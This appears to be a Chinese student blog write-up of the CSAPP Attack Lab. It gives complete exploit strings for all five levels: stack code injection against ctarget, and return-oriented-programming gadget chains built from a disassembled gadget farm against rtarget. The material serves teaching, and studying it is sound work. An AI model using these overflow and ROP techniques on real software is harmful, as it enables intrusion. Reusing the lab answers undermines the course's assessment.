CSAPP: Attack Lab

该博客围绕x86-64二进制可执行文件的缓冲区溢出攻击实验展开。先介绍实验准备与简介,接着阐述代码注入攻击的三个级别及面向返回编程的两个级别攻击方法,最后总结实验收获,加深了对栈帧构造和函数安全问题的理解。

实验前准备

实验简介

我们可以获取到两个 x86-64 二进制可执行文件,称为目标(targets),它们包含缓冲区溢出错误。一个目标存在代码注入攻击漏洞。另一个存在面向返回的编程(ROP,return-oriented programming)攻击漏洞。要求基于代码注入或 ROP,开发漏洞利用,修改目标的行为。通过该实验,可以学习到堆栈的规则,以及编写有缓冲区溢出漏洞的代码的危险。
两个目标程序ctargetrtarget都会从标准输入中读入字符串,通过getbuf函数来读取:

unsigned getbuf()
{
	char buf[BUFFER_SIZE];
	Gets(buf);
	return 1;
}

我们实验中会通过输入超过BUFFER_SIZE长度的字符串,来改变程序的执行行为。
两个程序都可以接收命令行参数:
在这里插入图片描述
运行程序的时候要加-q选项
编写好攻击字符串之后可以通过hexdraw将字符串转为2进制格式
在这里插入图片描述

代码注入攻击

Level 1: 调用touch1

该阶段不需要注入新的代码,攻击字符串只需要让程序转为去调用touch1就行。
程序执行时执行test函数,然后在test里调用getbuf

void test()
{
   int val;
   val = getbuf();
   printf("No exploit. Getbuf returned 0x%x\n", val);
}

然后touch1的实现如下:

void touch1()
{
  vlevel = 1;
  printf("Touch1!: You called touch1()\n");
  validate(1);
  exit(0);
}

所以我们的攻击字符串破坏堆栈也没关系,因为执行到touch1就会调用exit(0)正常退出了,不会再返回。
首先用objdump -d反汇编ctarget,然后看一下getbuf的实现:
在这里插入图片描述
可以看到缓冲区的大小为0x28,这里可以简单画一下执行到getbuf并分配缓冲区后的栈帧图示:
在这里插入图片描述
缓冲区大小为0x28,所以我们要输入长度为0x30的字符串来覆盖掉原来的返回地址,将返回地址改为touch1函数的首地址,这里看一下touch1的首地址:
在这里插入图片描述
构造攻击字符串如下:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* 上面0x28个字节,覆盖掉原来缓冲区 */
c0 17 40 00 00 00 00 00   /* touch1函数首地址, 注意写成小端字节序 */

然后用hex2raw处理一下,然后执行ctarget,可以看到成功使得程序执行touch1
在这里插入图片描述

Level 2: 输入一个参数调用touch2

本阶段需要注入在攻击字符串中注入少量代码,touch2的实现如下:

void touch2(unsigned val)
{
	vlevel = 2;
	if(val == cookie) {
		printf("Touch2!: You called touch2(0x%.8x)\n", val);
		validate(2);
	} else {
		printf("Misfire: You called touch2(0x%.8x)\n", val);
	}
	exit(0);
}

touch2需要传入一个参数,x86-64的调用约定中,函数的第一个参数通过寄存器rdi传入,这意味着我们注入的攻击字符串要能将cookie值存储到rdi寄存器中才能使touch2正确打印。
cookie值就是拿到的自学材料里的cookie.txt里的值

0x59b997fa

我们需要执行如下汇编代码,来讲cookie值存到rdi,然后rettouch2函数处:

movl $0x59b997fa, %edi
pushq $0x00000000004017ec
ret

关键是这段代码要放在哪里?可以放在缓冲区里,然后让程序从getbufret到缓冲区中的相应地址处,然后执行上述代码。可以这样做是因为程序ctarget的运行栈地址是固定的,我们可以知道缓冲区的首地址,这里通过gdb查看一下,得到缓冲区的首地址0x5561dc78
在这里插入图片描述
我们用gcc编译以下我们上面要注入的代码,然后反汇编得到对应的指令的16进制表示:
在这里插入图片描述
然后构造攻击字符串如下:

bf fa 97 b9 59 68 ec 17 /* 注入的代码*/
40 00 c3 00 00 00 00 00 /* 注入的代码*/
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* 上面覆盖掉缓冲区 */
78 dc 61 55 00 00 00 00 /* 跳转到缓冲区首地址执行攻击代码 */

hex2draw处理后作为输入执行ctarget
在这里插入图片描述

Level 3: 输入一个字符串调用touch3

本阶段还是要注入一些攻击代码,不过touch3接收的是一个字符串的地址,这意味着我们的攻击字符串要把符合要求的字符串存在栈上,然后把字符串的首地址存在rdi寄存器传入。
先看touch3的实现:

void touch3(char *sval)
{
	vlevel = 3;
	if(hexmatch(cookie, sval)) {
		printf("Touch3!: You called touch3(\"%s\")\n", sval);
		validate(3);
	} else {
		printf("Misfire: You called touch3(\"%s\")\n", sval);
		fail(3);
	}
	exit(0);
}

然后hexmatch的实现如下:

int hexmatch(unsigned val, char* sval)
{
	char cbuf[110];
	char *s = cbuf + random() % 100;
	sprintf(s, "%.8x", val);
	return strncmp(sval, s, 9) == 0;
}

所以构造出来的字符串应该是cookie的16进制形式的字符串59b997fa,然后用\0结尾。
所以注入的攻击代码应该是下面这样:

movl ?, %edi
pushq $0x00000000004018fa   ; touch3入口地址
ret

这里?代表的是字符串地址还未确定,把这个字符串放在rsp的返回地址之后:
在这里插入图片描述
那么字符串的地址就是rsp+0x30 = 0x5561dc78 + 0x30 = 0x5561dca8,得到攻击代码:

movl $0x5561dca8, %edi
pushq $0x00000000004018fa
ret

gcc编译后用objdump反汇编:
在这里插入图片描述
构造攻击字符串如下:

bf a8 dc 61 55 68 fa 18  /* 攻击代码 */
40 00 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* 上面覆盖掉缓冲区 */
78 dc 61 55 00 00 00 00 /* 跳转到缓冲区首地址执行攻击代码 */
35 39 62 39 39 37 66 61 /* cookie的字符串的ascll码表示 */
00                      /* '\0'字符结尾 */

hex2raw处理后执行ctarget
在这里插入图片描述

面向返回编程

相比于ctargetrtarget在编译的时候采用了两种技术来防止缓冲区溢出攻击:

  • 栈地址随机化:程序运行时的栈地址是随机的,这意味着注入攻击代码的方式很难生效,因为不知道注入后,在栈上的代码的实际地址。
  • 栈段指令不可执行:将堆栈部分的内存设置为不可执行的,这样即使能知道实际的栈地址,在执行指令时也会触发段错误。

但即使这样,还是有办法做到缓冲区溢出攻击的,那就是通过程序中已有的指令来执行攻击:
在这里插入图片描述
程序中有些指令片段可能可以凑出有效的指令,再加上ret指令就可以构成一个个用于攻击的代码片段或者叫做小工具。

rtarget里面包含了一些这样的小工具,它们的源码文件为farm.c,在自学材料里面有附带:
在这里插入图片描述
就比如函数setval_210,编译后的指令片段里面包含指令movq %rax, %rdi
在这里插入图片描述
farm.c还有其它函数编译后的指令包含了这样可用于组成攻击代码的小工具,我们可以用这些小工具来完成Level 4Level 5
实验材料里给我们提供了对照表:
在这里插入图片描述
可以按照对照表在farm.c里面找相应的代码片段,看到这些指令应该是48588920083884开头的,对着在rtarget的反汇编文件中找,注意这些指令最后一定要是c3(中间有nop对应90或者二字节指令也可以):

0000000000401994 <start_farm>:
  401994:	b8 01 00 00 00       	mov    $0x1,%eax
  401999:	c3                   	ret    

000000000040199a <getval_142>:
  40199a:	b8 fb 78 90 90       	mov    $0x909078fb,%eax
  40199f:	c3                   	ret    

00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax ; 48 89 c7: movq %rax, %rdi  ; 89 c7 : movl %eax, %edi                            
  4019a6:	c3                   	ret    

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax ; 58: popq %rax
  4019ad:	c3                   	ret    

00000000004019ae <setval_237>:
  4019ae:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)
  4019b4:	c3                   	ret    

00000000004019b5 <setval_424>:
  4019b5:	c7 07 54 c2 58 92    	movl   $0x9258c254,(%rdi)
  4019bb:	c3                   	ret    

00000000004019bc <setval_470>:
  4019bc:	c7 07 63 48 8d c7    	movl   $0xc78d4863,(%rdi)
  4019c2:	c3                   	ret    

00000000004019c3 <setval_426>:
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	ret    

00000000004019ca <getval_280>:
  4019ca:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
  4019cf:	c3                   	ret    

00000000004019d0 <mid_farm>:
  4019d0:	b8 01 00 00 00       	mov    $0x1,%eax
  4019d5:	c3                   	ret    

00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	ret    

00000000004019db <getval_481>:
  4019db:	b8 5c 89 c2 90       	mov    $0x90c2895c,%eax ; 89 c2: movl %eax, %edx
  4019e0:	c3                   	ret    

00000000004019e1 <setval_296>:
  4019e1:	c7 07 99 d1 90 90    	movl   $0x9090d199,(%rdi)
  4019e7:	c3                   	ret    

00000000004019e8 <addval_113>:
  4019e8:	8d 87 89 ce 78 c9    	lea    -0x36873177(%rdi),%eax 
  4019ee:	c3                   	ret    

00000000004019ef <addval_490>:
  4019ef:	8d 87 8d d1 20 db    	lea    -0x24df2e73(%rdi),%eax
  4019f5:	c3                   	ret    

00000000004019f6 <getval_226>:
  4019f6:	b8 89 d1 48 c0       	mov    $0xc048d189,%eax
  4019fb:	c3                   	ret    

00000000004019fc <setval_384>:
  4019fc:	c7 07 81 d1 84 c0    	movl   $0xc084d181,(%rdi)
  401a02:	c3                   	ret    

0000000000401a03 <addval_190>:
  401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax ; 48 89 e0: movq %rsp, %rax ;89 e0: movl %esp, %eax
  401a09:	c3                   	ret    

0000000000401a0a <setval_276>:
  401a0a:	c7 07 88 c2 08 c9    	movl   $0xc908c288,(%rdi)
  401a10:	c3                   	ret    

0000000000401a11 <addval_436>:
  401a11:	8d 87 89 ce 90 90    	lea    -0x6f6f3177(%rdi),%eax ; 89 ce: movl %ecx, %esi
  401a17:	c3                   	ret    

0000000000401a18 <getval_345>:
  401a18:	b8 48 89 e0 c1       	mov    $0xc1e08948,%eax
  401a1d:	c3                   	ret    

0000000000401a1e <addval_479>:
  401a1e:	8d 87 89 c2 00 c9    	lea    -0x36ff3d77(%rdi),%eax
  401a24:	c3                   	ret    

0000000000401a25 <addval_187>:
  401a25:	8d 87 89 ce 38 c0    	lea    -0x3fc73177(%rdi),%eax
  401a2b:	c3                   	ret    

0000000000401a2c <setval_248>:
  401a2c:	c7 07 81 ce 08 db    	movl   $0xdb08ce81,(%rdi)
  401a32:	c3                   	ret    

0000000000401a33 <getval_159>:
  401a33:	b8 89 d1 38 c9       	mov    $0xc938d189,%eax ; 89 d1 38 c9 : movl %edx, %ecx , cmpb %cl
  401a38:	c3                   	ret    

0000000000401a39 <addval_110>:
  401a39:	8d 87 c8 89 e0 c3    	lea    -0x3c1f7638(%rdi),%eax
  401a3f:	c3                   	ret    

0000000000401a40 <addval_487>:
  401a40:	8d 87 89 c2 84 c0    	lea    -0x3f7b3d77(%rdi),%eax
  401a46:	c3                   	ret    

0000000000401a47 <addval_201>:
  401a47:	8d 87 48 89 e0 c7    	lea    -0x381f76b8(%rdi),%eax
  401a4d:	c3                   	ret    

0000000000401a4e <getval_272>:
  401a4e:	b8 99 d1 08 d2       	mov    $0xd208d199,%eax
  401a53:	c3                   	ret    

0000000000401a54 <getval_155>:
  401a54:	b8 89 c2 c4 c9       	mov    $0xc9c4c289,%eax
  401a59:	c3                   	ret    

0000000000401a5a <setval_299>:
  401a5a:	c7 07 48 89 e0 91    	movl   $0x91e08948,(%rdi)
  401a60:	c3                   	ret    

0000000000401a61 <addval_404>:
  401a61:	8d 87 89 ce 92 c3    	lea    -0x3c6d3177(%rdi),%eax
  401a67:	c3                   	ret    

0000000000401a68 <getval_311>:
  401a68:	b8 89 d1 08 db       	mov    $0xdb08d189,%eax
  401a6d:	c3                   	ret    

0000000000401a6e <setval_167>:
  401a6e:	c7 07 89 d1 91 c3    	movl   $0xc391d189,(%rdi)
  401a74:	c3                   	ret    

0000000000401a75 <setval_328>:
  401a75:	c7 07 81 c2 38 d2    	movl   $0xd238c281,(%rdi)
  401a7b:	c3                   	ret    

0000000000401a7c <setval_450>:
  401a7c:	c7 07 09 ce 08 c9    	movl   $0xc908ce09,(%rdi)
  401a82:	c3                   	ret    

0000000000401a83 <addval_358>:
  401a83:	8d 87 08 89 e0 90    	lea    -0x6f1f76f8(%rdi),%eax
  401a89:	c3                   	ret    

0000000000401a8a <addval_124>:
  401a8a:	8d 87 89 c2 c7 3c    	lea    0x3cc7c289(%rdi),%eax
  401a90:	c3                   	ret    

0000000000401a91 <getval_169>:
  401a91:	b8 88 ce 20 c0       	mov    $0xc020ce88,%eax
  401a96:	c3                   	ret    

0000000000401a97 <setval_181>:
  401a97:	c7 07 48 89 e0 c2    	movl   $0xc2e08948,(%rdi)
  401a9d:	c3                   	ret    

0000000000401a9e <addval_184>:
  401a9e:	8d 87 89 c2 60 d2    	lea    -0x2d9f3d77(%rdi),%eax
  401aa4:	c3                   	ret    

0000000000401aa5 <getval_472>:
  401aa5:	b8 8d ce 20 d2       	mov    $0xd220ce8d,%eax
  401aaa:	c3                   	ret    

0000000000401aab <setval_350>:
  401aab:	c7 07 48 89 e0 90    	movl   $0x90e08948,(%rdi)
  401ab1:	c3                   	ret    

0000000000401ab2 <end_farm>:
  401ab2:	b8 01 00 00 00       	mov    $0x1,%eax

可以凑出这些指令:

  • 0x4019a2movq %rax, %rdi
  • 0x4019a3movl %eax, %edi
  • 0x4019abpopq %rax
  • 0x4019ddmovl %eax, %edx
  • 0x401a06movq %rsp, %rax
  • 0x401a07movl %esp, %eax
  • 0x401a13movl %ecx, %esi
  • 0x401a34movl %edx,%ecx

Level 4:调用touch2

不同于Level 1,这次要通过ROP的方式调用到touch1,利用上面拼凑出的指令,可以使用如下的汇编代码将cookie存到%rdi

popq %rax
movq %rax, %rdi
ret

但这样我们先要把cookie值先放到栈上,这样才能popcookie值:
在这里插入图片描述
于是构造如下攻击字符串:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* 上面覆盖掉缓冲区 */
ab 19 40 00 00 00 00 00 /* 指令 popq %rax 的地址*/
fa 97 b9 59 00 00 00 00 /* cookie值 */
a2 19 40 00 00 00 00 00 /* 指令 movq %rax, %rdi 的地址 */
ec 17 40 00 00 00 00 00 /* 函数touch2的地址 */

hex2raw处理后执行rtarget
在这里插入图片描述

Level 5:调用touch3

也一样,要将字符串存在栈上,但这次只能利用已有的指令了,官方文档里面写到官方解答用了8个代码片段。
首先跟Level 3一样,字符串要存在栈顶,这意味着%rdi%rsp + x的形式,但是我们上面从farm.c里拼凑的片段里没有能执行加法的指令。但是回去看原来的指令,add_xy函数里面执行的就是加法操作,这里因为传入两个参数,并没有像之前的addval_xxx函数一样把操作数写死,用的是lea指令来实现加法:
在这里插入图片描述
那么,就有了可用的加法指令了。
然后偏移量是多少取决于我们得用多少条指令把字符串的地址传递给%rdi寄存器。
在这里插入图片描述
上面的指令片段里,我们可以将当前%rsp先存到%rdi

movq %rsp, %rax
movq %rax, %rdi

然后再将偏移量弹到rax中,再将偏移量用地址加载指令lea (%rdi,%rsi,1), %rax加到rdi寄存器上,但是现在偏移量存储在%rax中,我们可用的指令里没有直接将%rax值存到%rdi寄存器的指令,只能通过%rax->%edx->%ecx->esi的方式间接传递:

movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi
lea (%rdi,%rsi,1), %rax

构造出来的缓冲区如下:
在这里插入图片描述

那么偏移量X应该为0x48,对应的攻击代码为

movq %rsp, %rax
movq %rax, %rdi
popq %rax
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi
lea (%rsi,%rdi,1) %rax
movq %rax,%rdi

构造攻击字符串如下:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
/* 上面覆盖掉缓冲区 */
ad 1a 40 00 00 00 00 00 /* 指令 movq %rsp, %rax 的地址 */
a2 19 40 00 00 00 00 00 /* 指令 movq %rax, %rdi 的地址 */
ab 19 40 00 00 00 00 00 /* 指令 popq %rax 的地址 */
48 00 00 00 00 00 00 00 /* 偏移量 */
dd 19 40 00 00 00 00 00 /* 指令 movl %eax, %edx 的地址 */
34 1a 40 00 00 00 00 00 /* 指令 %edx, %ecx */
13 1a 40 00 00 00 00 00 /* 指令 movl %ecx, %esi 的地址 */
d6 19 40 00 00 00 00 00 /* 指令 lea (%rsi,%rdi,1) %rax 的地址 */
a2 19 40 00 00 00 00 00 /* 指令 movq %rax,%rdi */
fa 18 40 00 00 00 00 00 /* 函数 touch3 的地址 */
35 39 62 39 39 37 66 61 /* cookie对应的字符串 */
00                      /* 空字符*/

hex2raw处理后执行rtarget
在这里插入图片描述

总结

通过这个实验对函数调用过程中的栈帧构造过程了解更深了,还有就是比如gets这类函数引发的安全问题,然后在攻击方式中感觉ROP这个方法真的很巧妙。

参考资料

计算机系统基础(二):程序的执行和存储访问_南京大学_中国大学MOOC(慕课) (icourse163.org)
第 3 章:程序的机器级表示 | 深入理解计算机系统(CSAPP) (gitbook.io)
实验 3:Attack Lab | 深入理解计算机系统(CSAPP) (gitbook.io)
​x86_64架构下的函数调用及栈帧原理 - 知乎 (zhihu.com)

评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值